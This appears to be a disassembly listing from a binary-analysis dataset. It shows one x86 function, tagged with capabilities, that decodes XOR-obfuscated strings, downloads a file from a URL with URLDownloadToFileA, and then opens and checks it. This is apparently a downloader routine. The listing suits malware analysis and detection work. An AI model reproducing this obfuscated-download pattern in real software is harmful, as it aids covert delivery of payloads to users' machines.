Function at 0x1000c8c0
Capabilities:
Download url
Get file size
Receive data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004e578
mov eax, dword fs:[0]
push eax
sub esp, 0x548
mov eax, dword [0x1005d500]
xor eax, esp
mov dword [esp + 0x540], eax
push ebx
push esi
push edi
mov eax, dword [0x1005d500]
xor eax, esp
push eax
lea eax, [esp + 0x558]
mov dword fs:[0], eax
mov dword [esp + 0x50], vtable.SysService.0
xor ebx, ebx
mov dword [esp + 0x560], ebx
mov dword [esp + 0x54], vtable.FileService.0
mov dword [esp + 0x58], vtable.AdInfoService.0
lea edi, [esp + 0x94]
mov byte [esp + 0x560], 2
call fcn.10020860
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x3c], vtable.CodeService.0
push 0x3ff
lea eax, [esp + 0x151]
push ebx
mov byte [esp + 0x568], 5
push eax
mov byte [esp + 0x158], bl
call fcn.10037db0
add esp, 0xc
push 0x21
lea ecx, [esp + 0x150]
push 0x10053920
push ecx
call fcn.10037ec0
add esp, 0xc
xor eax, eax
jmp 0x1000c990
mov edx, eax
and edx, 0x8000000f
jns 0x1000c99f
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539a0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x21
jl 0x1000c990
mov esi, 0xf
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c9d6
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028f0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 6
call fcn.1000b3c0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000ca22
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d10
add esp, 4
push 0x1c
lea ecx, [esp + 0x150]
push 0x10053944
push ecx
call fcn.10037ec0
add esp, 0xc
xor eax, eax
jmp 0x1000ca40
mov edx, eax
and edx, 0x8000000f
jns 0x1000ca4f
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539a0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1c
jl 0x1000ca40
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000ca81
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028f0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 7
call fcn.1000b3c0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000cacd
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d10
add esp, 4
push 0x1f
lea ecx, [esp + 0x150]
push 0x10053960
push ecx
call fcn.10037ec0
add esp, 0xc
xor eax, eax
mov edx, eax
and edx, 0x8000000f
jns 0x1000caf5
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539a0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1f
jl 0x1000cae6
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000cb27
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028f0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 8
call fcn.1000b3c0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000cb73
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d10
add esp, 4
push 0x1f
lea ecx, [esp + 0x150]
push 0x10053980
push ecx
call fcn.10037ec0
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov edx, eax
and edx, 0x8000000f
jns 0x1000cb9f
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539a0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1f
jl 0x1000cb90
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000cbd1
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028f0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 9
call fcn.1000b3c0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000cc1d
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d10
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x7c]
push edx
call fcn.10018d20
add esp, 8
lea ecx, [esp + 0x130]
mov byte [esp + 0x560], 0xa
call fcn.1002ffe0
mov esi, eax
push 0x10053a4c
lea eax, [esp + 0x7c]
push eax
lea ecx, [esp + 0xb8]
push ecx
mov byte [esp + 0x56c], 0xb
call fcn.10002440
add esp, 0xc
mov ecx, eax
lea edx, [esp + 0x5c]
push edx
mov eax, esi
mov byte [esp + 0x564], 0xc
call fcn.1000d670
add esp, 4
mov edi, eax
lea esi, [esp + 0x78]
mov byte [esp + 0x560], 0xd
call fcn.100029f0
cmp dword [esp + 0x70], 0x10
jb 0x1000cca7
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d10
add esp, 4
mov edi, 0x10
mov esi, 0xf
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
cmp dword [esp + 0xc4], edi
jb 0x1000ccd6
mov ecx, dword [esp + 0xb0]
push ecx
call fcn.10032d10
add esp, 4
mov byte [esp + 0x560], 0xa
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
cmp dword [esp + 0x144], edi
jb 0x1000cd0c
mov edx, dword [esp + 0x130]
push edx
call fcn.10032d10
add esp, 4
mov ecx, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x1000cd23
lea ecx, [esp + 0x94]
mov eax, dword [esp + 0x78]
cmp dword [esp + 0x8c], edi
jae 0x1000cd34
lea eax, [esp + 0x78]
push ebx
push ebx
push ecx
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x1000cdd0
cmp dword [esp + 0x8c], edi
jb 0x1000cd5d
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d10
add esp, 4
mov dword [esp + 0x8c], esi
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cd90
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008eb0
push esi
call fcn.10032d10
add esp, 4
mov edi, 0x10
cmp dword [esp + 0xa8], edi
jb 0x1000cda9
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10032d10
add esp, 4
or eax, 0xffffffff
mov ecx, dword [esp + 0x558]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x540]
xor ecx, esp
call fcn.10034caa
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x1000cde7
lea eax, [esp + 0x94]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x40]
mov esi, eax
push edx
push esi
mov dword [esp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test al, 7
je 0x1000ce68
cmp dword [esp + 0x8c], edi
jb 0x1000ce29
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d10
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000ce5b
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008eb0
push esi
call fcn.10032d10
add esp, 4
cmp dword [esp + 0xa8], 0x10
jmp 0x1000cd97
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x74
mov dword [esp + 0x38], ebx
call fcn.10032ce0
add esp, 4
cmp eax, ebx
je 0x1000d1be
mov dword [esp + 0x30], eax
mov dword [eax], eax
mov eax, dword [esp + 0x30]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x30]
mov dword [eax + 8], eax
mov edx, dword [esp + 0x30]
mov byte [edx + 0x70], 1
mov eax, dword [esp + 0x30]
mov byte [eax + 0x71], 1
mov byte [esp + 0x560], 0xe
mov esi, dword [0x10061c84]
mov ecx, dword [0x10061c80]
mov edx, esi
sub edx, ecx
mov eax, 0x2aaaaaab
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
xor edi, edi
add eax, edx
je 0x1000d01c
mov dword [esp + 0x18], ebx
add ecx, dword [esp + 0x18]
lea eax, [esp + 0xcc]
push eax
call fcn.10008b20
lea ebx, [esp + 0xcc]
lea ecx, [esp + 0x2c]
mov byte [esp + 0x560], 0xf
call fcn.1000b490
mov ecx, dword [esp + 0xcc]
push 0xffffffffffffffff
mov esi, eax
xor ebx, ebx
push ebx
lea edx, [esp + 0xd8]
mov dword [esi], ecx
push edx
lea ecx, [esi + 4]
call fcn.10002de0
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0xf4]
push eax
lea ecx, [esi + 0x20]
call fcn.10002de0
mov ecx, dword [esp + 0x108]
push 0xffffffffffffffff
mov dword [esi + 0x3c], ecx
mov edx, dword [esp + 0x110]
push ebx
lea eax, [esp + 0x118]
push eax
lea ecx, [esi + 0x44]
mov dword [esi + 0x40], edx
call fcn.10002de0
mov esi, 0x10
mov byte [esp + 0x560], 0xe
cmp dword [esp + 0x124], esi
jb 0x1000cf87
mov ecx, dword [esp + 0x110]
push ecx
call fcn.10032d10
add esp, 4
mov dword [esp + 0x124], 0xf
mov dword [esp + 0x120], ebx
mov byte [esp + 0x110], bl
cmp dword [esp + 0x100], esi
jb 0x1000cfb9
mov edx, dword [esp + 0xec]
push edx
call fcn.10032d10
add esp, 4
mov dword [esp + 0x100], 0xf
mov dword [esp + 0xfc], ebx
mov byte [esp + 0xec], bl
cmp dword [esp + 0xe4], esi
jb 0x1000cfeb
mov eax, dword [esp + 0xd0]
push eax
call fcn.10032d10
add esp, 4
mov esi, dword [0x10061c84]
mov ecx, dword [0x10061c80]
add dword [esp + 0x18], 0x60
mov edx, esi
sub edx, ecx
mov eax, 0x2aaaaaab
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc edi
add eax, edx
cmp edi, eax
jb 0x1000cede
xor ebx, ebx
cmp ecx, esi
je 0x1000d051
mov edx, dword [esp + 0x3c]
push edx
mov ebx, esi
mov eax, esi
call fcn.100092d0
mov ecx, dword [0x10061c84]
mov esi, eax
mov eax, dword [esp + 0x40]
add esp, 4
push eax
push ecx
mov eax, esi
call fcn.10009330
add esp, 8
mov dword [0x10061c84], esi
xor ebx, ebx
mov eax, dword [0x100a1db4]
mov ecx, dword [0x100a1dd0]
lea edx, [esp + 0x94]
push edx
push eax
push ecx
lea edx, [esp + 0x38]
mov ecx, 0x10061c80
call fcn.10009b80
cmp dword [esp + 0xa8], 0x10
mov byte [esp + 0x13], al
mov eax, dword [esp + 0x94]
jae 0x1000d090
lea eax, [esp + 0x94]
push eax
call fcn.10036eb3
add esp, 4
cmp byte [esp + 0x13], bl
jne 0x1000d127
mov byte [esp + 0x560], 0x10
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x34]
call fcn.1000d250
mov edx, dword [esp + 0x30]
push edx
call fcn.10032d10
add esp, 4
cmp dword [esp + 0x8c], 0x10
jb 0x1000d0e4
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d10
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000ce5b
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008eb0
push esi
call fcn.10032d10
add esp, 4
cmp dword [esp + 0xa8], 0x10
jmp 0x1000cd97
mov byte [esp + 0x560], 0x11
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x34]
call fcn.1000d250
mov edx, dword [esp + 0x30]
push edx
call fcn.10032d10
add esp, 4
cmp dword [esp + 0x8c], 0x10
jb 0x1000d168
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d10
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000d19a
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008eb0
push esi
call fcn.10032d10
add esp, 4
cmp dword [esp + 0xa8], 0x10
jb 0x1000d1b4
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10032d10
add esp, 4
mov eax, 1
jmp 0x1000cdac
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x48]
mov dword [esp + 0x18], ebx
call fcn.10034d2f
push 0x10057508
lea eax, [esp + 0x48]
push eax
mov dword [esp + 0x4c], vtable.std::bad_alloc.0
call fcn.10037737
int3